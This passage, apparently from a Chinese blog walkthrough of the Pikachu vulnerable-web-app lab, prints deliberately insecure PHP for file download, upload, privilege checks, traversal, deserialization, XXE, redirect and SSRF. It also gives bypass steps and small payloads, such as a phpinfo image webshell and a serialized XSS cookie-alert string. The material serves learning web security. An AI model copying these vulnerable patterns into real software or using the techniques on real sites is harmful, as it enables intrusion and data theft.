$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);

//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
    skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
    return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据

//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){

    $file_con=fread($fp,$buffer);
    $file_count+=$buffer;

    echo $file_con;
}
fclose($fp);
?>

 对于传入的文件路径参数未经过任何过滤即允许下载,不安全。

七、 文件上传

1,client check

前端js检查,直接<?php phpinfo();?>的txt文件改为jpg文件,上传用burpsutie抓包修改为php文件, 或直接删除前端js检查都可。

 

源码:


    function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }

 根据提交的文件取后缀名与数组中的作比较,不允许则不行,前端是不可信的。

2,MIME-type

对Content-Type进行检查,burpsuite修改Content-type即可,将Content-type改成image/jpeg

 

源码:


$html='';
if(isset($_POST['submit'])){
    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}


?>


//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
    $arr_errors=array(
        1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
        2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
        3=>'文件只有部分被上传',
        4=>'没有文件被上传',
        6=>'找不到临时文件夹',
        7=>'文件写入失败'
    );
    if(!isset($_FILES[$key]['error'])){
        $return_data['error']='请选择上传文件!';
        $return_data['return']=false;
        return $return_data;
    }
    if ($_FILES[$key]['error']!=0) {
        $return_data['error']=$arr_errors[$_FILES[$key]['error']];
        $return_data['return']=false;
        return $return_data;
    }
    //验证一下MIME类型
    if(!in_array($_FILES[$key]['type'], $mime)){
        $return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
        $return_data['return']=false;
        return $return_data;
    }
    //新建一个保存文件的目录
    if(!file_exists($save_path)){
        if(!mkdir($save_path,0777,true)){
            $return_data['error']='上传文件保存目录创建失败,请检查权限!';
            $return_data['return']=false;
            return $return_data;
        }
    }
    $save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
    if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
        $return_data['error']='临时文件移动失败,请检查权限!';
        $return_data['return']=false;
        return $return_data;
    }
    //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
    $return_data['new_path']=$save_path.$_FILES[$key]['name'];
    $return_data['return']=true;
    return $return_data;
    
}

用upload_sick()对文件的type进行检查,不是jpg和png图片则不行,不可靠。 

 3,getimagesize

 直接上传图片马,绕过所有的检查

 

此时图片只是图片,需要联和文件包含漏洞执行文件 

 

源码:

//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
    $arr_errors=array(
        1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
        2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
        3=>'文件只有部分被上传',
        4=>'没有文件被上传',
        6=>'找不到临时文件夹',
        7=>'文件写入失败'
    );
    if(!isset($_FILES[$key]['error'])){
        $return_data['error']='请选择上传文件!';
        $return_data['return']=false;
        return $return_data;
    }
    if ($_FILES[$key]['error']!=0) {
        $return_data['error']=$arr_errors[$_FILES[$key]['error']];
        $return_data['return']=false;
        return $return_data;
    }
    //验证上传方式
    if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
        $return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
        $return_data['return']=false;
        return $return_data;
    }
    //获取后缀名,如果不存在后缀名,则将变量设置为空
    $arr_filename=pathinfo($_FILES[$key]['name']);
    if(!isset($arr_filename['extension'])){
        $arr_filename['extension']='';
    }
    //先验证后缀名
    if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较
        $return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
        $return_data['return']=false;
        return $return_data;
    }
    
    //验证MIME类型,MIME类型可以被绕过
    if(!in_array($_FILES[$key]['type'], $mime)){
        $return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
        $return_data['return']=false;
        return $return_data;
    }
    //通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
    if(!getimagesize($_FILES[$key]['tmp_name'])){
        $return_data['error']='你上传的是个假图片,不要欺骗我!';
        $return_data['return']=false;
        return $return_data;
    }
    //验证大小
    if($_FILES[$key]['size']>$size){
        $return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
        $return_data['return']=false;
        return $return_data;
    }

    //把上传的文件给他搞一个新的路径存起来
    if(!file_exists($save_path)){
        if(!mkdir($save_path,0777,true)){
            $return_data['error']='上传文件保存目录创建失败,请检查权限!';
            $return_data['return']=false;
            return $return_data;
        }
    }
    //生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
    $new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
    if($arr_filename['extension']!=''){
        $arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
        $new_filename.=".{$arr_filename['extension']}";
    }
    //将tmp目录里面的文件拷贝到指定目录下并使用新的名称
    $save_path=rtrim($save_path,'/').'/';
    if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
        $return_data['error']='临时文件移动失败,请检查权限!';
        $return_data['return']=false;
        return $return_data;
    }
    //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
    $return_data['save_path']=$save_path.$new_filename;
    $return_data['filename']=$new_filename;
    $return_data['return']=true;
    return $return_data;
    }

    
?>

getmagesize.php文件:
if(isset($_POST['submit'])){
    $type=array('jpg','jpeg','png');//指定类型
    $mime=array('image/jpg','image/jpeg','image/png');
    $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
    $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";

    }
}


?>

 服务器端对文件的上传方式,后缀名,MIME类型,文件图片属性包括大小,尺寸,类型,宽度,高度的具体信息都进行严格的验证,确实挺天衣无缝,但是可以利用前面的文件包含,不管什么格式的文件符合PHP代码规范则会按照PHP解析执行,导致图片马中的<?php phpinfo();?>被执行。

 八、越权

1,水平越权

根据提示进行登录,点击个人信息,查看F12的网络包,没有session,修改username的参数值试试,水平越权成功。 

源码:

if(isset($_GET['submit']) && $_GET['username']!=null){
    $username=escape($link, $_GET['username']);
    $query="select * from member where username='$username'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)==1){
        $data=mysqli_fetch_assoc($result);
        $uname=$data['username'];
        $sex=$data['sex'];
        $phonenum=$data['phonenum'];
        $add=$data['address'];
        $email=$data['email'];

没有将传入的username进行session校验,而是直接使用传入的值查询。

 2,水平越权

 使用admin管理员登录,发现能进行用户的添加,添加用户,使用burpsuite抓包

 

 

 添加用户成功,使用pikachu普通用户登录,复制普通用户cookie代替admin的cookie重放数据包

 

 

垂直越权成功,普通用户能执行管理员用户添加用户的权限。 

源码:

        

admin.php:
            
            $link=connect();
// 判断是否登录,没有登录不能访问
//如果没登录,或者level不等于1,都就干掉
if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){
    header("location:op2_login.php");
    exit();
}

//删除
if(isset($_GET['id'])){
    $id=escape($link, $_GET['id']);//转义
    $query="delete from member where id={$id}";
    execute($link, $query);
}


if(isset($_GET['logout']) && $_GET['logout'] == 1){
    session_unset();
    session_destroy();
    setcookie(session_name(),'',time()-3600,'/');
    header("location:op2_login.php");

}



?>

admin_edit.php:
                
$link=connect();
if(!check_op2_login($link)){
    header("location:op2_login.php");
    exit();
}
if(isset($_POST['submit'])){
    if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
        $getdata=escape($link, $_POST);//转义
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){//判断是否插入
            header("location:op2_admin.php");
        }else {
            $html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";

        }
    }
}


user.php:
        $link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op2_login($link)){
    header("location:op2_login.php");
}

if(isset($_GET['logout']) && $_GET['logout'] == 1){
    session_unset();
    session_destroy();
    setcookie(session_name(),'',time()-3600,'/');
    header("location:op2_login.php");

}


?>

login.php:
            if(isset($_POST['submit'])){
    if($_POST['username']!=null && $_POST['password']!=null){
        $username=escape($link, $_POST['username']);
        $password=escape($link, $_POST['password']);//转义,防注入
        $query="select * from users where username='$username' and password=md5('$password')";
        $result=execute($link, $query);
        if(mysqli_num_rows($result)==1){
            $data=mysqli_fetch_assoc($result);
            if($data['level']==1){//如果级别是1,进入admin.php
                $_SESSION['op2']['username']=$username;
                $_SESSION['op2']['password']=sha1(md5($password));
                $_SESSION['op2']['level']=1;
                header("location:op2_admin.php");
            }
            if($data['level']==2){//如果级别是2,进入user.php
                $_SESSION['op2']['username']=$username;
                $_SESSION['op2']['password']=sha1(md5($password));
                $_SESSION['op2']['level']=2;
                header("location:op2_user.php");
            }

        }else{
            //查询不到,登录失败
            $html.="<p>登录失败,请重新登录</p>";

        }

    }

}
?>

 根据数据库中的level字段的级别进行判断是admin登录还是普通用户登录,并生成相对应的session存储在服务器端,但是admin_edit进行添加用户时没有对级别level进行判断,导致低级用户重放数据包能进行越权操作。

九、目录遍历 

这里只有title的参数能利用了,应该能通过改变title的参数读取到其它的文件。 

 果然如此,通过修改titile的参数能进行目录遍历读取文件。

源码:

        

if(isset($_GET['title'])){
    $filename=$_GET['title'];
    require "soup/$filename";
}
?>

 直接使用了require包含了传入的title参数,跟include一个道理。

include和require的区别如下:

1,include遇到错误产生警告,程序会执行下去,require()会报错,不会再执行程序 。比如require("test.php") echo 1;  include("test.php") echo 1; 如果test.php不存在,include会输出1,require不会。

2,require()会将目标文件内容读入,并且把自身代换成读入的内容,通常用于导入静态的内容,include()则适用于导入动态的程序代码,require是无条件包含,放入一个流程里,无论流程成立与否都会先执行require,include一般放在流程控制的处理部分中PHP程序网页读到include文件时,才读入。

十、敏感信息泄露

 源代码中有登录账号,登录后发现是abc.php,直接在url中输出abc.php也能访问,逻辑有问题,没有进行登录验证。可以使用中间件或者在访问用户信息url时候验证用户是否登录,否则返回原页面。

十一、PHP反序列化

反序列化更多的指PHP的魔术方法,不恰当的使用了魔术方法,反序列化的内容用户可以控制,导致了安全问题,常见的模数方法如下:

 

 

 源码分析:

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}
?>

  <?php echo $html;?>

 类S使用了构造函数_construct,通过反序列POST请求o的参数并赋值给html页面。所以输入O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}

对于序列化字符串的解析:O是指一个对象,S是类名称,s:4是字符串有4个字符即test。

序列化的字符串会被反序列后将<script>alert(document.cookie)</script>嵌入了HTML页面,导致了弹窗。

 十一、XXE

 

具体XXE的知识,可以参考https://mp.csdn.net/mp_blog/creation/editor/124788405。 

源码:
 

$html='';
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

?>

simplexml_load_string(data,classname,options,ns,is_prefix);将函数转换形式良好的XML字符串转换为SimpleXMLElement对象,LIBXML_NOENT指替代实体,即开启外部实体解析

 主要是对外部的实体进行了解析,并且将结果渲染到了HTML页面中,造成了信息泄露。

 十二、URL重定向

 点击第四个,发现存在变量url,将url的值变成某个网址看看。比如将?url=120.79.29.170会跳转。

 源码:

$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
    $url = $_GET['url'];
    if($url == 'i'){
        $html.="<p>好的,希望你能坚持做你自己!</p>";
    }else {
        header("location:{$url}");
    }
}



?>

变量url不为i则直接location跳转到url的地址,应当对参数的值判断,不为i则跳到原页面。

十三、 SSRF(服务端请求伪造)

1、curl

 url中使用http协议对文件进行读取,SSRF还可以联合file,gopher,ftp等协议对内网进行扫描或者一些信息读取等。

源码:

if(isset($_GET['url']) && $_GET['url'] != null){

    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
    echo $RES;

}


?>

 使用了curl_exec()函数通过PHP对数据进行获取,并且输出返回,明显存在服务端请求伪造,应当对前端的URL进行白名单的过滤。

2,file_get_content

源码: 

if(isset($_GET['file']) && $_GET['file'] !=null){
    $filename = $_GET['file'];
    $str = file_get_contents($filename);
    echo $str;
}



?>

 使用PHP函数file_get_content()读取文件且未进行白名单过滤

总结、

pikachu靶机都是些简单的漏洞,很简单的手法利用,比较适合新手。 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值